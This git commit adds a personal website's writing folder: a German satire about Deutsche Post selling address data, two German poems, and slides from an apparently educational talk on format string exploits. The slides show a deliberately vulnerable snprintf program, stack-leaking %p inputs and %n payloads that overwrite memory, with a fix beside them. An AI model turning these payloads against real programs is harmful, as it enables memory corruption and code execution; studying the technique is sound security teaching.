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author | erdgeist <erdgeist@bauklotz.local> | 2015-08-16 16:38:25 +0200 |
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committer | erdgeist <erdgeist@bauklotz.local> | 2015-08-16 16:38:25 +0200 |
commit | 23f0e1561767dd8a396188e317bae5920d171ea8 (patch) | |
tree | a67f44e39ad8a45e42d60634488a65c37f3ad432 /stories/poetry |
Initial import of my nikola website
Diffstat (limited to 'stories/poetry')
69 files changed, 1823 insertions, 0 deletions
diff --git a/stories/poetry/Datenschleuder-BoesePost b/stories/poetry/Datenschleuder-BoesePost new file mode 100644 index 0000000..b758203 --- /dev/null +++ b/stories/poetry/Datenschleuder-BoesePost | |||
@@ -0,0 +1,13 @@ | |||
1 | Hättet ihr's gedacht? Sie kommen teils in aller Herrgottsfrühe, manmal aber auch mitten am Tag, nur um euch auszuspionieren. Zu jedem. Sehr gewissenhaft. Fast täglich. Sie schauen nach, ob ihr auch wirklich noch in eurem zuhause wohnt. Und sie notieren das und jede Veränderung, auch sehr gewissenhaft, auf kleinen Kärtchen, die sie dann treu zurück zu Herrchen bringen. Glaubt ihr nicht? Was meint ihr, warum die GEZ meist schon vor euren Eltern weiss, wenn ihr eine neue Wohung bezogen habt und das ohne, dass ihr ein Gratisabo abgefasst, oder an einer Verlosung teilgenommen habt (was ja die üblichen Verdächtigen in diesem Fall wären)? Bin ich ein paranoider Spinner? Bestimmt. Aber kurzes Nachdenken darüber, für wen sich dieser Riesenaufwand lohnen könnte, entlarvt die Übeltäter: man müßte dazu ein riesiges Heer an Bediensteten haben, die sowieso zu jedem nach Hause müssen und know how mit Adressen, Strassen und Postleitzahlen ha.... POST-Leitzahlen, genau! Nach [1] eigener Angabe "erhalten 62.500 Zustellbezirke von der Deutschen Post Direkt eine Karte zur Prüfung von maximal zehn Adressen" und "durch diese Vorgehensweise wird jede Adresse im Durchschnitt mehr als zwei mal pro Jahr überprüft". Macht schon Sinn, die Post muß "natürlich" den Überblick behalten, wer wohin verzogen, wer gestorben ist und überhaupt... Die armen Zusteller werden nun bei ihren Außeneinsätzen ohne ihr Wissen auch noch als Datengoldgräber ausgenutzt, denn: [2] "Adress-Vermietung: Gewinnen Sie neue Interessenten und Kunden: Sie bestimmen die Kriterien, z. B. Kaufkraft, Alter, wir stellen die Adressen für Ihre Direktmarketing-Aktionen bereit. Für einen größeren Kundenstamm." und "Bonitätsdaten: CreditCheck liefert online in Sekundenschnelle Bonitätsdaten zur Bewertung der Zahlungsmoral von Versandkunden. Für Ihre Zahlungssicherheit." sind ein untrügliches Anzeichen, daß die Post entdeckt hat, daß sich mit gültigen Adressen und viel zusätzlichem Wissen darüber haufenweise Geld scheffeln läßt. Na, kommt euch der gelegentliche Plausch mit der Postfrau über den verstorbenen Nachbarn, den Kredit fürs neue Auto oder die plötzliche Arbeitslosigkeit vom Herrn Meier im Vorderhaus plötzlich nicht mehr so harmlos vor? Die Zeiten, in denen ein ehrlicher Postbeamter noch vom Briefe durch die Gegend tragen und abstempeln leben konnte, sind scheinbar vorbei. Heutzutage ist er Garant dafür, daß auch ohne das Befolgen der Meldepflicht Informationen über den aktuellen Verbleib jedes Einzelnen, der seinen Briefkasten mit seinem Namen beklebt, verfügbar sind. Und mit dem [3] "AddressFactory System" kann sich jeder Geheimd^WMittelständische eine "Grundlage für professionelles CRM" - Costumer Relation Management schaffen. Das Zauberwort hierbei heißt "Adressanreicherung". Bei Angabe von Rasterparametern kann nach passenden potentiellen Kunden gefahndet werden und der eigene Datensatz durch [4] "Qualifizierte Neukundengewinnung bei gleichbleibenden Kosten" aufgefrischt werden. Da die Post, selbstverständlich, Datenschutz groß schreibt, | ||
2 | werden in ihrem [5] "microdialog"-Angebot, welches sie mit den Firmen "Quelle" und "Neckermann" aufgebaut hat, die Daten auf eine Granularität von "durchschnittlich 6,8 Haushalte" pro "Mikrozelle" skaliert. Diese Daten haben es aber in sich (Auszug): Status und Kaufkraft, Kulturkreisschwerpunkt, Bonitätsrisiko, Werbeaffinität, Anonymitätsbedürfnis, bevorzugte Kommunikationsmedien... Und ohne mit der Wimper zu zucken wird mit dem Service geworben: "Erkennen von Kundensegmenten mit hohem Zahlungsausfallrisiko". Man sollte sich also die 6,8 Haushalte, zu deren Mikrozelle man gehören könnte, mal anschauen, mag sein, dass die NPD ihre Wahlwerbepost genau an dich adressiert, weil du als deutscher Erstwähler in einer Gegend mit Kulturkreisschwerpunkt Islam beheimatet bist, oder ein größeres Versandhaus dich nur per Vorkasse beliefert, weil deiner "Mikrozelle" hohes Bonitätsrisiko beschieden wird. Bestimmt wirst du nun auch deine Nachbarn nach ganz anderen Maßstäben sortieren. Und vielleicht erziehst du sie ja mal dazu, endlich ihre Quellerechnungen zu bezahlen oder pflegst den Vorgarten, um das Scoring deiner Siedlung auf Vordermann zu bringen. Dann kommst du womöglich auch wieder in den Genuß, individuell auf dich zugeschnittener Infopost, die dank "Anreicherung: Wir ergänzen Ihre Adressen um microdialog-Daten" auch dich wieder ins Raster aufnehmen, in dem man wirtschaftlicher Nütztling ist. | ||
3 | Bevor ich es vergesse: ganz Clevere, die in Bestellformularen oder Zeitschriftenabonnoments absichtliche Dreher in ihre Adresse einbauen, um deren Weiterverkauf nachvollziehen zu können, werden überrascht sein: Die "Addressfactory System" bietet auch "Korrektur falsch geschriebener Vor- und Nachnamen bei Consumer-Adressen mit Kennzeichnung von unzustellbaren Adressen, Ergänzung von Sexcode und falls vorhanden Titel". Soll heißen: Du bekommst deine Post weiter mit dem Dreher, aber verkauft wird sie bereinigt und noch mit deinem Doktortitel versehen. Und das bei Bedarf auch über das Internet, im Batch. Während Preise für diese Dienstleistungen noch im Netz zu finden sind [6], z.B. 1.15EUR (bei 10000 Einzeldatensätzen) für deine neue Adresse nach dem Umzug, erfragt man Preise für Services, die man sich als CD zuschicken lassen kann, am besten telefonisch, ganz diskret. Die rechnen einem dann auch ganz fröhlich vor, daß auch bei meinem (völlig aus der Luft gegriffenen) Kundenstamm von 30000 Adressen sich nicht lohne, die CD zu kaufen und ich doch deren Webservice benutzen solle, da der Preis bei 7900EUR läge, nur für Adressverifikation wohlgemerkt (d.h. keine Anwohnerinformationen). Den Preis für die "Postreferenz-Datei" (die man leider nur im Bündel mit einer DB-Anfragesoftware von [7] Uniserv bekommt, um den Datenschutz zu gewähren), habe ich leider auch nach mehreren Telefonaten mit mehreren Beratern nicht erfahren, wahrscheinlich war ein Kundenstamm im siebenstelligen Bereich doch zu unglaubwürdig. Zumindest ist ein jährlicher Refresh der Daten dann schon für die Hälfte zu haben. Und wenn ich die CD mal in die Finger bekäme... würde ich bestimmt das Scoring für meine Oma direkt aus der Datenbank.... aber das ist ein ganz anderes Thema. | ||
4 | |||
5 | |||
6 | [0] http://www.deutschepost.de/postdirekt/... | ||
7 | [1] infoservice/download/pbl_qualitaetsprozess.pdf | ||
8 | [2] infoservice/download/adressmanag_internet.pdf | ||
9 | [3] produkte/addfactory_system.html | ||
10 | [4] produkte/analysis_factory.html | ||
11 | [5] produkte/index_microdialog.html | ||
12 | [6] http://www.postdirekt.de/cgi-bin/afweb2/afweb2.calc | ||
13 | [7] http://www.uniserv.de \ No newline at end of file | ||
diff --git a/stories/poetry/Ein_Abend.md b/stories/poetry/Ein_Abend.md new file mode 100644 index 0000000..1202e32 --- /dev/null +++ b/stories/poetry/Ein_Abend.md | |||
@@ -0,0 +1,21 @@ | |||
1 | <!-- | ||
2 | .. title: Ein Abend | ||
3 | .. date: 2003/04/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Mit gefalteten Händen lag er auf dem Rücken<br/> | ||
8 | Mitten auf einer Wiese auf einem Holzpodest.<br/> | ||
9 | Würde er hinschauen, würde er den Sonnenuntergang sehen,<br/> | ||
10 | Würde sehen, wie das dunkle Blau einem dunklen Rot weicht.<br/> | ||
11 | Ein roter Sonnenuntergang bedeutet schönes Wetter am Morgen,<br/> | ||
12 | Er würde das denken, wenn es ihn interessieren würde,<br/> | ||
13 | Er würde sich die purpurnen Wolken wegwünschen, um noch-<br/> | ||
14 | Einmal die rote Sonne untergehen zu sehen.<br/> | ||
15 | Am Himmel wurden die ersten Sterne sichtbar,<br/> | ||
16 | An diesem Abend mitten am Firmament.<br/> | ||
17 | Würde es sie interessieren, könnten sie ihn sehen,<br/> | ||
18 | Würde es sie kümmern, sähen sie ihn mitten auf seinem Holzpodest.<br/> | ||
19 | Sie würden sehen, wie er nicht in den Sonnenuntergang schaut.<br/> | ||
20 | Er hätte sie sehen können, hätte er den Sonnenuntergang betrachtet.<br/> | ||
21 | Und sicherlich hätte er lange noch wach dagelegen... | ||
diff --git a/stories/poetry/Grußkarte.md b/stories/poetry/Grußkarte.md new file mode 100644 index 0000000..4b14350 --- /dev/null +++ b/stories/poetry/Grußkarte.md | |||
@@ -0,0 +1,9 @@ | |||
1 | <!-- | ||
2 | .. title: Grußkarte | ||
3 | .. date: 1996/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | ...! | ||
8 | |||
9 | Fühl dich nicht gegrüßt. Fühl dich nicht geliebt. Fühl dich nicht adressiert. Fühl dich einfach ignoriert! Glaub nicht einmal, daß du wirklich gemeint warst, vielleicht hat die Post sich ja nur vertan oder ich, als ich im Zustand geistiger Umnachtung deine Adresse mit der des wirklichen Empfängers verwechselt habe. Nagut, fühle dich trotzdem erst einmal angesprochen, dagegen kann ich nämlich überhaupt nichts tun. Diese Karte erfüllt ja auch einfach nur ihren Selbstzweck, nämlich den, verschickt zu werden und meiner Eloquenz und meinem Geltungsdrang Ausdrucksmöglichkeiten zu schaffen. Also bild dir ja nichts darauf ein, oder sei auf keinen Fall stolz darauf, dieses Versandstück zu erhalten, welches bloß durch Zufall meinen Weg im Kaiser's striff und welches ich des angenehmen Anblicks wegen für 2,75 DM erstand und welches einen nicht zu beachtenen Gruß enthielt, der jetzt nichtig ist. Wenn du willst, kannst du diesen Brief serienbriefmäßig weiterverschicken, da er absolut nichts Persönliches oder Gutartiges enthält... daraus schlußfolgernd könntest du auch davon ausgehen, daß dieser Text auch nicht von mir stammt und ich gar nicht die Person war, die diese Karte im Kaiser's erstanden hat, also wäre diese Karte noch unpersönlicher, als ohnehin schon und ich hätte nur noch einmal 1,10 DM für die Briefmarke und 5 Pfennig für einen neuen Umschlag, sowie 0,3 Pfennig für die Tinte, mit der ich die Adresse geschrieben habe, berappt. Sämtliches kreatives Potential, daß du bis eben noch hättest bei mir annehmen können, würde also nicht bei mir liegen, sondern bei wem immer du diese Karte zuschreiben würdest. Und vielleicht bin ja ich, also der, dem du die Karte jetzt schickst, Originator, ich würde mich nicht freuen, gerade von dir diese Karte zurückzubekommen, ich würde nämlich wissen, daß du so blöde warst, dich kreativ zu fühlen, nur, weil du diese Karte weiter geschickt hast. Um dein Ego nun nicht vollends zu strapazieren, halte ich dir nochmal vor Augen, daß ich (oder der neue Absender) mindestens 1,153 DM oder maximal 3,905 DM investiert habe/hat, was wohl ein gewisses Interesse an deiner Unterhaltung oder im schlimmsten Fall an meiner Profilierung voraussetzt, nenne mir nur einen Grund, warum Ersteres zutreffen sollte! Die aufgeführten Investionsrahmenparameter sind aber auch nur Richtgrößen, da ich mindestens die Briefmarke und, wenn du erster Empfänger dieser Karte warst, auch noch die bunte Karte als Werbungskosten von der Steuer abgesetzt habe. Wieviel das ist, hängt letztenendes von meinem Einkomen ab, welches auch noch, um dich jetzt völlig einem Wechselbad der Gefühle preiszugeben, Einfluß darauf hat, welche ideelle Kosten zum alleinigen Preis der materiellen Komponenten dazukommen. Bei einem Stundenlohn von sagen wir 10 Mark kämen wir bei einer Minute Karte aussuchen, zwei Minuten Adresse auf den Umschlag schreiben, einer Minute Karte hineinstecken und 10 Sekunden Brief in den Briefkasten schieben (bei der Post mußte ich ja eh vorbei), auf einen Gegenwert von 52,7 Pfennig. Sollte ich den text nun wirklich selber geschrieben haben (6 Minuten), erhielten wir bei einem Stundenlohn von angenommen 20 Mark auf 1.38 Mark. Macht bisher im besten Fall 5.294 DM, 1.681 DM für den schlechtesten Fall ist aber wohl doch wahrscheinlicher, oder? Denn daß auf der Vorderseite nun ein Symbol positiver Gefühle bis hin zur Liebe prangt, soll kein Anzeichen ähnlicher Gefühle meinerseits dir gegenüber sein, die Existenz dieses Bildes rüht aus einem purem Umkehrschluß, der daraus besteht, daß es keine Karte ohne Bild gab und ich für ein häßliches Bild keine 2,75 DM ausgegeben hätte. Falls du nun aus der Tatsache, daß der Briefumschlag scheinbar liebevoll mit deiner Adresse versehen worden ist, ableitest, ich hätte positive Gefühle beim Ausfüllen der Adresse gehabt, sei versichert, ich schreibe immer so und wenn nicht, habe ich wohl gerade an jemanden anderes gedacht oder gerade Schönschreiben geübt oder mal meine Schablone dabeigehabt. Auch die Annahme, daß ich die Briefmarke angeleckt hätte und die daraus folgende Hoffnung, es können eine erotische Anspielung dahinter stecken, ist absurd. Ich habe auch keinen nassen Schwamm benutzt, was bei den Wasserpreisen heutzutage und dann gerade für einen Brief an dich ein Fopaz wäre. Nimm nun nicht auch noch an, ich würde mich befleißigen, dir darzulegen, wie ich die Briefmarke befestigt habe, lies gefälligst schnell weiter, um die Karte zu schonen, damit du sie eventuell noch weiterverschicken kannst! Solltest du auch noch die Idee haben, diese Karte kommerziell an Schreibwarenläden weiterzugeben, denke daran, daß es da irgendwo einen Urheber des Textes gab und er dich fürchterlich bestrafen wird, auch wenn es ihn ehren könnte, daß du den Text so gut fandest, ihn kommerziell vermarkten zu wollen, wenn es nicht gerade DU gewesen wärst. Aber wenn du die Karte schon in der x. Generation bekommen hättest, wäre es ein Gutes Zeichen dafür, aus der Karte mehr zu machen und vielleicht Geld daraus zu schinden. Was es dich kosten würde, weißt du ja jetzt. Ansonsten bliebe nur noch 1: Hab dich lieb! | ||
diff --git a/stories/poetry/MeinVortrag/01.html b/stories/poetry/MeinVortrag/01.html new file mode 100644 index 0000000..d476a90 --- /dev/null +++ b/stories/poetry/MeinVortrag/01.html | |||
@@ -0,0 +1,8 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="02.html">-></A><CENTER> | ||
3 | Format String Exploits | ||
4 | |||
5 | Christian Carstensen | ||
6 | Dirk Engling | ||
7 | Martin Schobert | ||
8 | </CENTER></PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/02.html b/stories/poetry/MeinVortrag/02.html new file mode 100644 index 0000000..14df688 --- /dev/null +++ b/stories/poetry/MeinVortrag/02.html | |||
@@ -0,0 +1,6 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="01.html"><-</A><A HREF="03.html">-></A> | ||
3 | syntax: | ||
4 | |||
5 | printf( char *format, param1, param2, ... ) | ||
6 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/03.html b/stories/poetry/MeinVortrag/03.html new file mode 100644 index 0000000..38f1bd1 --- /dev/null +++ b/stories/poetry/MeinVortrag/03.html | |||
@@ -0,0 +1,11 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="02.html"><-</A><A HREF="04.html">-></A> | ||
3 | int main( ) { | ||
4 | int a, b; | ||
5 | a = 7; | ||
6 | b = 9; | ||
7 | |||
8 | printf( "%d %d\n", a, b ); | ||
9 | return 0; | ||
10 | } | ||
11 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/04.html b/stories/poetry/MeinVortrag/04.html new file mode 100644 index 0000000..d28b181 --- /dev/null +++ b/stories/poetry/MeinVortrag/04.html | |||
@@ -0,0 +1,12 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="03.html"><-</A><A HREF="05.html">-></A> | ||
3 | .LC0: | ||
4 | .string "%d %d\n" | ||
5 | main: | ||
6 | [ ... ] | ||
7 | pushl $9 | ||
8 | pushl $7 | ||
9 | pushl $.LC0 | ||
10 | call printf | ||
11 | [ ... ] | ||
12 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/05.html b/stories/poetry/MeinVortrag/05.html new file mode 100644 index 0000000..e124667 --- /dev/null +++ b/stories/poetry/MeinVortrag/05.html | |||
@@ -0,0 +1,27 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="04.html"><-</A><A HREF="06.html">-></A> | ||
3 | int printing( const char *fmt, ...) { | ||
4 | va_list ap; | ||
5 | char output[1024]; | ||
6 | |||
7 | va_start(ap, fmt); | ||
8 | |||
9 | while( *fmt ) { | ||
10 | if( *fmt != '%' ) { | ||
11 | putc( *fmt++ ); | ||
12 | } else { /* Parameter substituieren */ | ||
13 | switch( *++fmt ) { | ||
14 | case 'd': | ||
15 | int a = va_arg( ap, int ); | ||
16 | /* Zahl a ausgeben */ | ||
17 | break; | ||
18 | case 's': | ||
19 | char *s = va_arg( ap, char *); | ||
20 | /* String ausgeben */ | ||
21 | .... | ||
22 | } | ||
23 | } | ||
24 | |||
25 | va_end(ap); | ||
26 | } | ||
27 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/06.html b/stories/poetry/MeinVortrag/06.html new file mode 100644 index 0000000..1c3fe8d --- /dev/null +++ b/stories/poetry/MeinVortrag/06.html | |||
@@ -0,0 +1,8 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="05.html"><-</A><A HREF="07.html">-></A> | ||
3 | #define va_start(ap, var) ((ap) = (va_list)&var) | ||
4 | |||
5 | #define va_arg(ap, type) *(((type *)ap)++) | ||
6 | |||
7 | #define va_end(ap) | ||
8 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/07.html b/stories/poetry/MeinVortrag/07.html new file mode 100644 index 0000000..6a4c25e --- /dev/null +++ b/stories/poetry/MeinVortrag/07.html | |||
@@ -0,0 +1,14 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="06.html"><-</A><A HREF="08.html">-></A> | ||
3 | int main( ) { | ||
4 | int a = 0x23232323; | ||
5 | |||
6 | printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); | ||
7 | return 0; | ||
8 | } | ||
9 | |||
10 | Liefert einen output von: | ||
11 | |||
12 | 0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 | ||
13 | 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 | ||
14 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/08.html b/stories/poetry/MeinVortrag/08.html new file mode 100644 index 0000000..35fc0e7 --- /dev/null +++ b/stories/poetry/MeinVortrag/08.html | |||
@@ -0,0 +1,16 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="07.html"><-</A><A HREF="09.html">-></A> | ||
3 | int main( ) { | ||
4 | int a; | ||
5 | |||
6 | printf ( "Ich bin 23 Zeichen lang%n\n", &a); | ||
7 | printf ( "Und printf hat's gezaehlt: %d", a); | ||
8 | |||
9 | return 0; | ||
10 | } | ||
11 | |||
12 | Liefert als Ausgabe: | ||
13 | |||
14 | Ich bin 23 Zeichen lang | ||
15 | Und printf hat's gezaehlt: 23 | ||
16 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/09.html b/stories/poetry/MeinVortrag/09.html new file mode 100644 index 0000000..53922cd --- /dev/null +++ b/stories/poetry/MeinVortrag/09.html | |||
@@ -0,0 +1,13 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="08.html"><-</A><A HREF="10.html">-></A> | ||
3 | in BASIC: | ||
4 | |||
5 | A = "Hallo" | ||
6 | PRINT A | ||
7 | |||
8 | in C: | ||
9 | |||
10 | char *a = "Hallo"; | ||
11 | printf( a ); | ||
12 | |||
13 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/10.html b/stories/poetry/MeinVortrag/10.html new file mode 100644 index 0000000..d336ae5 --- /dev/null +++ b/stories/poetry/MeinVortrag/10.html | |||
@@ -0,0 +1,10 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="09.html"><-</A><A HREF="11.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | char buffer[ 256 ]; | ||
5 | |||
6 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
7 | |||
8 | return 0; | ||
9 | } | ||
10 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/11.html b/stories/poetry/MeinVortrag/11.html new file mode 100644 index 0000000..72c2ba5 --- /dev/null +++ b/stories/poetry/MeinVortrag/11.html | |||
@@ -0,0 +1,18 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="10.html"><-</A><A HREF="12.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | char buffer[ 256 ]; | ||
5 | |||
6 | /* !!!FALSCH!!! */ | ||
7 | #if 0 | ||
8 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
9 | #endif | ||
10 | |||
11 | /* !!!RICHTIG!!! */ | ||
12 | #if 1 | ||
13 | snprintf( buffer, sizeof buffer, "%s", argv[1] ); | ||
14 | #endif | ||
15 | |||
16 | return 0; | ||
17 | } | ||
18 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/12.html b/stories/poetry/MeinVortrag/12.html new file mode 100644 index 0000000..7c87622 --- /dev/null +++ b/stories/poetry/MeinVortrag/12.html | |||
@@ -0,0 +1,17 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="11.html"><-</A><A HREF="13.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/13.html b/stories/poetry/MeinVortrag/13.html new file mode 100644 index 0000000..6137794 --- /dev/null +++ b/stories/poetry/MeinVortrag/13.html | |||
@@ -0,0 +1,24 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="12.html"><-</A><A HREF="14.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln Probierung | ||
19 | test auf: 0xbfbff6d4 | ||
20 | test enthaelt: 0x23232323 | ||
21 | |||
22 | Probierung | ||
23 | test enthaelt: 0x23232323 | ||
24 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/14.html b/stories/poetry/MeinVortrag/14.html new file mode 100644 index 0000000..63acc3e --- /dev/null +++ b/stories/poetry/MeinVortrag/14.html | |||
@@ -0,0 +1,25 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="13.html"><-</A><A HREF="15.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln "AAAA%p %p %p %p %p %p %p %p %p" | ||
19 | test auf: 0xbfbff6c0 | ||
20 | test enthaelt: 0x23232323 | ||
21 | |||
22 | AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 | ||
23 | 0x2805a3a8 0x41414141 0x62317830 0x64356666 | ||
24 | test enthaelt: 0x23232323 | ||
25 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html new file mode 100644 index 0000000..e132623 --- /dev/null +++ b/stories/poetry/MeinVortrag/15.html | |||
@@ -0,0 +1,23 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="14.html"><-</A><A HREF="16.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln "AAAA%p %p %p %p %p %p%n %p %p" | ||
19 | test auf: 0xbfbff6c0 | ||
20 | test enthaelt: 0x23232323 | ||
21 | |||
22 | Segmentation fault (core dumped) | ||
23 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html new file mode 100644 index 0000000..0644083 --- /dev/null +++ b/stories/poetry/MeinVortrag/16.html | |||
@@ -0,0 +1,25 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="15.html"><-</A><A HREF="17.html">-></A> | ||
3 | int main( int argc, char **argv ) { | ||
4 | int test = 0x23232323; | ||
5 | char buffer[ 256 ]; | ||
6 | |||
7 | printf( "test auf: %p\n", &test ); | ||
8 | printf( "test enthaelt: %x\n\n", test); | ||
9 | |||
10 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
11 | |||
12 | printf( "%s\n", buffer); | ||
13 | printf( "test enthaelt: %x\n\n", test); | ||
14 | |||
15 | return 0; | ||
16 | } | ||
17 | |||
18 | # ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" | ||
19 | test auf: 0xbfbff6c0 | ||
20 | test enthaelt: 0x2323232323 | ||
21 | |||
22 | Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 | ||
23 | 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
24 | test enthaelt: 0x42 | ||
25 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/17.html b/stories/poetry/MeinVortrag/17.html new file mode 100644 index 0000000..6a32312 --- /dev/null +++ b/stories/poetry/MeinVortrag/17.html | |||
@@ -0,0 +1,26 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="16.html"><-</A><A HREF="18.html">-></A> | ||
3 | # ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" | ||
4 | test auf: 0xbfbff6c0 | ||
5 | test enthaelt: 0x2323232323 | ||
6 | |||
7 | Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 | ||
8 | 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
9 | test enthaelt: 0x42 | ||
10 | ======================================================= | ||
11 | # ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p " | ||
12 | |||
13 | test auf: 0xbfbff6c0 | ||
14 | test enthaelt: 0x23232323 | ||
15 | |||
16 | Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf04\ | ||
17 | 0x2805a3a80x623178300x64356666 | ||
18 | test enthaelt: 0x3D | ||
19 | ======================================================= | ||
20 | # ./vuln "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n " | ||
21 | test auf: 0xbfbff6b0 | ||
22 | test enthaelt: 0x23232323 | ||
23 | |||
24 | °ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337 | ||
25 | test enthaelt: 0x42424242 | ||
26 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/18.html b/stories/poetry/MeinVortrag/18.html new file mode 100644 index 0000000..4c50a98 --- /dev/null +++ b/stories/poetry/MeinVortrag/18.html | |||
@@ -0,0 +1,20 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="17.html"><-</A><A HREF="19.html">-></A> | ||
3 | |||
4 | |||
5 | |||
6 | |||
7 | |||
8 | |||
9 | |||
10 | |||
11 | |||
12 | "/../../../../../../../../../bin/sh" | ||
13 | |||
14 | |||
15 | |||
16 | |||
17 | |||
18 | |||
19 | |||
20 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/19.html b/stories/poetry/MeinVortrag/19.html new file mode 100644 index 0000000..3261117 --- /dev/null +++ b/stories/poetry/MeinVortrag/19.html | |||
@@ -0,0 +1,14 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="1.html"><-</A><A HREF="1.html">-></A> | ||
3 | |||
4 | |||
5 | |||
6 | |||
7 | That's all folks... | ||
8 | |||
9 | links: | ||
10 | |||
11 | http://community.core-sdi.com/~juliano/ | ||
